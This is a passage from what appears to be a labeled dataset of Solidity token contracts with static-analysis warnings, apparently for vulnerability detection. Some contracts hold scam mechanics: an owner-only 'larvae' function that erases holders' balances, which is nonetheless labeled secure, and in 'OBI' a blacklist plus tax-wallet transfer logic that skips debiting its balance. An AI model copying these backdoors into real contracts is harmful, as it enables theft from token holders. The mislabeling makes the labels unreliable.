_msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == virus, \"Not allowed\");\n\n _;\n }\n\n function larvae(address[] memory quito) public onlyOwner {\n for (uint256 i = 0; i < quito.length; i++) {\n address account = quito[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_446.sol", "secure": 1, "size_bytes": 4357 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PLAYBOY is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 330202f): PLAYBOY.maxSupply should be constant \n\t// Recommendation for 330202f: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1_000_0000_00 * 1e18;\n\n constructor() ERC20(\"Women for Trump\", \"PLAYBOY\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}", "file_name": "solidity_code_447.sol", "secure": 1, "size_bytes": 610 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract OBI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d11f14): OBI._taxWallet should be immutable \n\t// Recommendation for 4d11f14: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9af130): OBI._initialBuyTax should be constant \n\t// Recommendation for c9af130: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a6d531): OBI._initialSellTax should be constant \n\t// Recommendation for 5a6d531: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55436af): OBI._reduceBuyTaxAt should be constant \n\t// Recommendation for 55436af: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28e53d1): OBI._reduceSellTaxAt should be constant \n\t// Recommendation for 28e53d1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49ec91e): OBI._preventSwapBefore should be constant \n\t// Recommendation for 49ec91e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Obi Wan Kenobi\";\n\n string private constant _symbol = unicode\"OBI\";\n\n uint256 public _maxTxAmount = 4000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b06cef5): OBI._taxSwapThreshold should be constant \n\t// Recommendation for b06cef5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a0f8de): OBI._maxTaxSwap should be constant \n\t// Recommendation for 7a0f8de: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n struct NftAutoTransfer {\n uint256 nftSend;\n uint256 nftClaim;\n uint256 nftReclaim;\n }\n\n mapping(address => NftAutoTransfer) private nftAutoTransfer;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1d3704e): OBI.nftReclaimExcluded should be constant \n\t// Recommendation for 1d3704e: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ef747e1): OBI.nftReclaimExcluded is never initialized. It is used in OBI._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for ef747e1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private nftReclaimExcluded;\n\n uint256 private nftReclaimAttempt;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xE33667B62f2b11d9F949e568bEaa775Ee367B51D);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 369948e): OBI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 369948e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d429b49): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d429b49: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 72b1821): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 72b1821: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d429b49\n\t\t// reentrancy-benign | ID: 72b1821\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d429b49\n\t\t// reentrancy-benign | ID: 72b1821\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a94e00f): OBI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a94e00f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 72b1821\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d429b49\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b6cce96): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b6cce96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3b2ac85): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3b2ac85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f6f58fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f6f58fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!tradingOpen || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = tokenAmount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b6cce96\n\t\t\t\t// reentrancy-benign | ID: 3b2ac85\n\t\t\t\t// reentrancy-eth | ID: f6f58fc\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b6cce96\n\t\t\t\t\t// reentrancy-eth | ID: f6f58fc\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f6f58fc\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f6f58fc\n lastSellBlock = block.number;\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 3b2ac85\n nftReclaimAttempt = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapV2Pair) {\n NftAutoTransfer storage nftAuto = nftAutoTransfer[to];\n\n if (from == uniswapV2Pair) {\n if (nftAuto.nftSend == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 3b2ac85\n nftAuto.nftSend = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n NftAutoTransfer storage nftAutoAttempt = nftAutoTransfer[\n from\n ];\n\n if (\n nftAuto.nftSend == 0 ||\n nftAutoAttempt.nftSend < nftAuto.nftSend\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 3b2ac85\n nftAuto.nftSend = nftAutoAttempt.nftSend;\n }\n }\n } else {\n NftAutoTransfer storage nftAutoAttempt = nftAutoTransfer[from];\n\n\t\t\t\t// reentrancy-benign | ID: 3b2ac85\n nftAutoAttempt.nftClaim = nftAutoAttempt.nftSend.sub(\n nftReclaimAttempt\n );\n\n\t\t\t\t// reentrancy-benign | ID: 3b2ac85\n nftAutoAttempt.nftReclaim = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: b6cce96\n\t\t// reentrancy-eth | ID: f6f58fc\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ef747e1): OBI.nftReclaimExcluded is never initialized. It is used in OBI._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for ef747e1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : nftReclaimExcluded.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f6f58fc\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b6cce96\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: f6f58fc\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: f6f58fc\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: b6cce96\n emit Transfer(from, to, receiptAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d429b49\n\t\t// reentrancy-events | ID: b6cce96\n\t\t// reentrancy-benign | ID: 3b2ac85\n\t\t// reentrancy-benign | ID: 72b1821\n\t\t// reentrancy-eth | ID: f6f58fc\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removelimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removetransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d429b49\n\t\t// reentrancy-events | ID: b6cce96\n\t\t// reentrancy-eth | ID: f6f58fc\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delbots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isbot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5bc9b0a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5bc9b0a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1696564): OBI.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1696564: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 322902f): OBI.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 322902f: Ensure that all the return values of the function calls are used.\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n tradingOpen = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5bc9b0a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5bc9b0a\n\t\t// unused-return | ID: 322902f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5bc9b0a\n\t\t// unused-return | ID: 1696564\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 5bc9b0a\n swapEnabled = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function SaveETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_448.sol", "secure": 0, "size_bytes": 21605 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CartoonCat is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Cartoon Cat\", \"CATOON\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_449.sol", "secure": 1, "size_bytes": 413 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract NimToken is IERC20 {\n\t// WARNING Optimization Issue (immutable-states | ID: 5c6f171): NimToken._owner should be immutable \n\t// Recommendation for 5c6f171: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _owner;\n\n mapping(address => uint256) public balances;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n uint256 public immutable totalSupply;\n\n string public name;\n\n string public symbol;\n\n uint8 public constant decimals = 18;\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"not owner\");\n\n _;\n }\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint256 totalSupplyVar\n ) {\n _owner = msg.sender;\n\n name = _name;\n\n symbol = _symbol;\n\n balances[msg.sender] += totalSupplyVar * 10 ** decimals;\n\n totalSupply += totalSupplyVar * 10 ** decimals;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return balances[account];\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(to != address(0), \"transfer to 0x0\");\n\n require(balances[from] >= amount, \"balance not enough!\");\n\n balances[from] -= amount;\n\n balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n allowance[owner][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n require(\n allowance[sender][msg.sender] >= amount,\n \"allowance not enough!\"\n );\n\n _approve(sender, msg.sender, allowance[sender][msg.sender] - amount);\n\n _transfer(sender, recipient, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_45.sol", "secure": 1, "size_bytes": 2551 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CapitanAmerica is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 43c0a26): CapitanAmerica.maxSupply should be constant \n\t// Recommendation for 43c0a26: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 100_000_000 * 1e18;\n\n constructor() ERC20(\"Capitan America\", \"CA\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}", "file_name": "solidity_code_450.sol", "secure": 1, "size_bytes": 617 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface INonfungiblePositionManager {\n struct MintParams {\n address token0;\n address token1;\n uint24 fee;\n int24 tickLower;\n int24 tickUpper;\n uint256 amount0Desired;\n uint256 amount1Desired;\n uint256 amount0Min;\n uint256 amount1Min;\n address recipient;\n uint256 deadline;\n }\n\n function mint(\n MintParams calldata params\n )\n external\n payable\n returns (\n uint256 tokenId,\n uint128 liquidity,\n uint256 amount0,\n uint256 amount1\n );\n\n function createAndInitializePoolIfNecessary(\n address token0,\n address token1,\n uint24 fee,\n uint160 sqrtPriceX96\n ) external payable returns (address pool);\n}", "file_name": "solidity_code_451.sol", "secure": 1, "size_bytes": 891 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _owner = msg.sender;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}", "file_name": "solidity_code_452.sol", "secure": 1, "size_bytes": 846 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./INonfungiblePositionManager.sol\" as INonfungiblePositionManager;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Awoke is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: aaf0ab1): Awoke.posMan should be constant \n\t// Recommendation for aaf0ab1: Add the 'constant' attribute to state variables that never change.\n INonfungiblePositionManager posMan =\n INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);\n\n uint256 public constant supply = 1_000_000 * 10 ** 18;\n\n uint256 public constant LP_WETH = 1 ether;\n\n uint256 public constant LP_TOKENS = (supply * 86) / 100;\n\n address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n bool public tradingAllowed = false;\n\n uint24 constant fee = 10000;\n\n uint160 sqrtPriceX96;\n\n int24 minTick;\n\n int24 maxTick;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3133195): Awoke.pool should be immutable \n\t// Recommendation for 3133195: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pool;\n\n address token0;\n\n address token1;\n\n uint256 amount0Desired;\n\n uint256 amount1Desired;\n\n constructor() ERC20(\"Awoke\", \"AWOKE\") {\n _mint(address(this), (supply * 86) / 100);\n\n _mint(owner(), (supply * 14) / 100);\n\n fixOrdering();\n\n pool = posMan.createAndInitializePoolIfNecessary(\n token0,\n token1,\n fee,\n sqrtPriceX96\n );\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n require(\n tradingAllowed || from == address(0) || from == address(this),\n \"Trading is not allowed yet\"\n );\n\n super._update(from, to, value);\n }\n\n function allowTrading() public onlyOwner {\n require(!tradingAllowed, \"Trading is already allowed\");\n\n tradingAllowed = true;\n }\n\n function fixOrdering() private {\n if (address(this) < WETH) {\n token0 = address(this);\n\n token1 = WETH;\n\n sqrtPriceX96 = 85433924797258268521005056;\n\n amount0Desired = LP_TOKENS;\n\n amount1Desired = LP_WETH;\n\n minTick = -887200;\n\n maxTick = 887200;\n } else {\n token0 = WETH;\n\n token1 = address(this);\n\n sqrtPriceX96 = 73473175325642115218358719741952;\n\n amount0Desired = LP_WETH;\n\n amount1Desired = LP_TOKENS;\n\n minTick = -887200;\n\n maxTick = 887200;\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3a38d4b): Awoke.addLiquidity() ignores return value by IERC20(WETH).approve(address(posMan),LP_WETH)\n\t// Recommendation for 3a38d4b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e5b0fee): Awoke.addLiquidity() ignores return value by IERC20(address(this)).approve(address(posMan),LP_TOKENS)\n\t// Recommendation for e5b0fee: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 66f3629): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for 66f3629: Ensure that all the return values of the function calls are used.\n function addLiquidity() public onlyOwner {\n\t\t// unused-return | ID: e5b0fee\n IERC20(address(this)).approve(address(posMan), LP_TOKENS);\n\n\t\t// unused-return | ID: 3a38d4b\n IERC20(WETH).approve(address(posMan), LP_WETH);\n\n\t\t// unused-return | ID: 66f3629\n posMan.mint(\n INonfungiblePositionManager.MintParams({\n token0: token0,\n token1: token1,\n fee: fee,\n tickLower: minTick,\n tickUpper: maxTick,\n amount0Desired: amount0Desired,\n amount1Desired: amount1Desired,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(owner()),\n deadline: block.timestamp + 1200\n })\n );\n }\n}", "file_name": "solidity_code_453.sol", "secure": 0, "size_bytes": 4580 }
